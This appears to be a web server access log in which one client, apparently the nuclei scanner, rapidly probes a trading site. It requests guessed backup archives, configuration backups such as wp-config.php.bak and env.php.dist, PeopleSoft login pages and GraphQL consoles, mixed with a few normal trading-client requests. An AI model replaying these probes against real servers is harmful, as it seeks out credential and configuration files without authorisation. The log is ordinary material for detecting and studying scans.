[09/Jan/2026:10:55:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //db.php.bk HTTP/1.1" 196
[09/Jan/2026:10:55:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v3/graphql/schema.yaml HTTP/1.1" 196
[09/Jan/2026:10:55:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/HRPRD/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_4.7z HTTP/1.1" 196
[09/Jan/2026:10:55:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config.php.orig HTTP/1.1" 196
[09/Jan/2026:10:55:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v3/playground HTTP/1.1" 196
[09/Jan/2026:10:55:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_2.7z HTTP/1.1" 196
[09/Jan/2026:10:55:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/CAREERS/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //conn.php.bk HTTP/1.1" 196
[09/Jan/2026:10:55:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backups.7z HTTP/1.1" 196
[09/Jan/2026:10:55:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config.orig HTTP/1.1" 196
[09/Jan/2026:10:55:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v3/subscriptions HTTP/1.1" 196
[09/Jan/2026:10:55:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_2.bz2 HTTP/1.1" 196
[09/Jan/2026:10:55:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //database.php.bk HTTP/1.1" 196
[09/Jan/2026:10:55:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin.7z HTTP/1.1" 196
[09/Jan/2026:10:55:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/heprod_5/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //const.DB.php.bak.orig HTTP/1.1" 196
[09/Jan/2026:10:55:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v4/altair HTTP/1.1" 196
[09/Jan/2026:10:55:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_2.gz HTTP/1.1" 196
[09/Jan/2026:10:55:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/saprod/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //db_config.php.bk HTTP/1.1" 196
[09/Jan/2026:10:55:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /temp.7z HTTP/1.1" 196
[09/Jan/2026:10:55:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //const.DB.php.orig HTTP/1.1" 196
[09/Jan/2026:10:55:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v4/api/graphql HTTP/1.1" 196
[09/Jan/2026:10:55:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_2.lz HTTP/1.1" 196
[09/Jan/2026:10:55:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/hr857prd_er/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config.inc.php.bk HTTP/1.1" 196
[09/Jan/2026:10:55:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bak.7z HTTP/1.1" 196
[09/Jan/2026:10:55:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config.php.dist HTTP/1.1" 196
[09/Jan/2026:10:55:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v4/explorer HTTP/1.1" 196
[09/Jan/2026:10:55:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_2.rar HTTP/1.1" 196
[09/Jan/2026:10:55:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/CHUMPRDM/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/config.php.bk HTTP/1.1" 196
[09/Jan/2026:10:55:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db.7z HTTP/1.1" 196
[09/Jan/2026:10:55:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config.dist HTTP/1.1" 196
[09/Jan/2026:10:55:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v4/graph HTTP/1.1" 196
[09/Jan/2026:10:55:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/config.php.bk HTTP/1.1" 196
[09/Jan/2026:10:55:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_2.tar.gz HTTP/1.1" 196
[09/Jan/2026:10:55:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/HR92PRD/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sql.7z HTTP/1.1" 196
[09/Jan/2026:10:55:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //site/default/settings.php.dist HTTP/1.1" 196
[09/Jan/2026:10:55:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v4/graphiql HTTP/1.1" 196
[09/Jan/2026:10:55:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_2.tar.bz2 HTTP/1.1" 196
[09/Jan/2026:10:55:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //index.php.bk HTTP/1.1" 196
[09/Jan/2026:10:55:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/cangate_1/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dump.7z HTTP/1.1" 196
[09/Jan/2026:10:55:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //installation/configuration.php.dist HTTP/1.1" 196
[09/Jan/2026:10:55:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v4/graphiql.css HTTP/1.1" 196
[09/Jan/2026:10:55:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_2.xz HTTP/1.1" 196
[09/Jan/2026:10:55:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/ihprd/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /database.7z HTTP/1.1" 196
[09/Jan/2026:10:55:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //default.php.bk HTTP/1.1" 196
[09/Jan/2026:10:55:16 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927600463 HTTP/1.1" -
[09/Jan/2026:10:55:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/etc/env.php.dist HTTP/1.1" 196
[09/Jan/2026:10:55:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v4/graphiql.js HTTP/1.1" 196
[09/Jan/2026:10:55:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_2.zip HTTP/1.1" 196
[09/Jan/2026:10:55:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psc/ps/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Release.7z HTTP/1.1" 196
[09/Jan/2026:10:55:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //main.php.bk HTTP/1.1" 196
[09/Jan/2026:10:55:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //Application/Common/Conf/config.php.dist HTTP/1.1" 196
[09/Jan/2026:10:55:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v4/graphiql.min.css HTTP/1.1" 196
[09/Jan/2026:10:55:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_2.z HTTP/1.1" 196
[09/Jan/2026:10:55:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/csperf/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /inetpub.7z HTTP/1.1" 196
[09/Jan/2026:10:55:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //settings.php.bk HTTP/1.1" 196
[09/Jan/2026:10:55:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //environments/dev/common/config/main-local.php.dist HTTP/1.1" 196
[09/Jan/2026:10:55:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v4/graphiql.min.js HTTP/1.1" 196
[09/Jan/2026:10:55:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_2.Z HTTP/1.1" 196
[09/Jan/2026:10:55:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/FMPRD/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /package.7z HTTP/1.1" 196
[09/Jan/2026:10:55:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //header.php.bk HTTP/1.1" 196
[09/Jan/2026:10:55:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v4/graphiql.php HTTP/1.1" 196
[09/Jan/2026:10:55:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //environments/prod/common/config/main-local.php.dist HTTP/1.1" 196
[09/Jan/2026:10:55:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/csprd/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tmp.7z HTTP/1.1" 196
[09/Jan/2026:10:55:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_2.tar.z HTTP/1.1" 196
[09/Jan/2026:10:55:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //footer.php.bk HTTP/1.1" 196
[09/Jan/2026:10:55:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v4/graphiql/finland HTTP/1.1" 196
[09/Jan/2026:10:55:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //common/config/main-local.php.dist HTTP/1.1" 196
[09/Jan/2026:10:55:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/hcmprdfp/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db.7z HTTP/1.1" 196
[09/Jan/2026:10:55:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_2.tgz HTTP/1.1" 196
[09/Jan/2026:10:55:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //login.php.bk HTTP/1.1" 196
[09/Jan/2026:10:55:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v4/graphql HTTP/1.1" 196
[09/Jan/2026:10:55:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927586759 HTTP/1.1" -
[09/Jan/2026:10:55:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //system/config/default.php.dist HTTP/1.1" 196
[09/Jan/2026:10:55:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/HRPRODASP/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /data.7z HTTP/1.1" 196
[09/Jan/2026:10:55:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //404.php.bk HTTP/1.1" 196
[09/Jan/2026:10:55:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_2.db HTTP/1.1" 196
[09/Jan/2026:10:55:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v4/graphql-explorer HTTP/1.1" 196
[09/Jan/2026:10:55:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/guest/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //typo3conf/localconf.php.dist HTTP/1.1" 196
[09/Jan/2026:10:55:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ftp.7z HTTP/1.1" 196
[09/Jan/2026:10:55:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-login.php.bk HTTP/1.1" 196
[09/Jan/2026:10:55:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_2.jar HTTP/1.1" 196
[09/Jan/2026:10:55:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/config_global.php.dist HTTP/1.1" 196
[09/Jan/2026:10:55:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/CSPRD_PUB/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v4/graphql.php HTTP/1.1" 196
[09/Jan/2026:10:55:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /output.7z HTTP/1.1" 196
[09/Jan/2026:10:55:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config.php.bk HTTP/1.1" 196
[09/Jan/2026:10:55:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:55:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_2.sqlite HTTP/1.1" 196
[09/Jan/2026:10:55:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:55:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/LHCGWPRD_1/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/config_ucenter.php.dist HTTP/1.1" 196
[09/Jan/2026:10:55:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin.7z HTTP/1.1" 196
[09/Jan/2026:10:55:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v4/graphql/console HTTP/1.1" 196
[09/Jan/2026:10:55:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config.bk HTTP/1.1" 196
[09/Jan/2026:10:55:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_2.sqlitedb HTTP/1.1" 196
[09/Jan/2026:10:55:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/CCHIPRD_2/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //textpattern/config.php.dist HTTP/1.1" 196
[09/Jan/2026:10:55:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /upload.7z HTTP/1.1" 196
[09/Jan/2026:10:55:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v4/graphql/schema.json HTTP/1.1" 196
[09/Jan/2026:10:55:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //const.DB.php.bak.bk HTTP/1.1" 196
[09/Jan/2026:10:55:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_2.sql.7z HTTP/1.1" 196
[09/Jan/2026:10:55:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/applyuth/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/common.inc.php.dist HTTP/1.1" 196
[09/Jan/2026:10:55:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /src.7z HTTP/1.1" 196
[09/Jan/2026:10:55:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v4/graphql/schema.xml HTTP/1.1" 196
[09/Jan/2026:10:55:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //const.DB.php.bk HTTP/1.1" 196
[09/Jan/2026:10:55:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_2.sql.bz2 HTTP/1.1" 196
[09/Jan/2026:10:55:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/HRPRD/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //caches/configs/database.php.dist HTTP/1.1" 196
[09/Jan/2026:10:55:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf/conf.7z HTTP/1.1" 196
[09/Jan/2026:10:55:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v4/graphql/schema.yaml HTTP/1.1" 196
[09/Jan/2026:10:55:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config.php.bak HTTP/1.1" 196
[09/Jan/2026:10:55:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927590169 HTTP/1.1" -
[09/Jan/2026:10:55:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/CAREERS/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_2.sql.gz HTTP/1.1" 196
[09/Jan/2026:10:55:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /old.7z HTTP/1.1" 196
[09/Jan/2026:10:55:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //caches/configs/system.php.dist HTTP/1.1" 196
[09/Jan/2026:10:55:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v4/playground HTTP/1.1" 196
[09/Jan/2026:10:55:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config.bak HTTP/1.1" 196
[09/Jan/2026:10:55:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/heprod_5/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_2.sql.lz HTTP/1.1" 196
[09/Jan/2026:10:55:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /202.181.208.139.bz2 HTTP/1.1" 196
[09/Jan/2026:10:55:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //include/config.inc.php.dist HTTP/1.1" 196
[09/Jan/2026:10:55:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v4/subscriptions HTTP/1.1" 196
[09/Jan/2026:10:55:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //site/default/settings.php.bak HTTP/1.1" 196
[09/Jan/2026:10:55:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_2.sql.rar HTTP/1.1" 196
[09/Jan/2026:10:55:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //include/config.php.dist HTTP/1.1" 196
[09/Jan/2026:10:55:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/saprod/?cmd=login&languageCd=ENG HTTP/1.1" 196
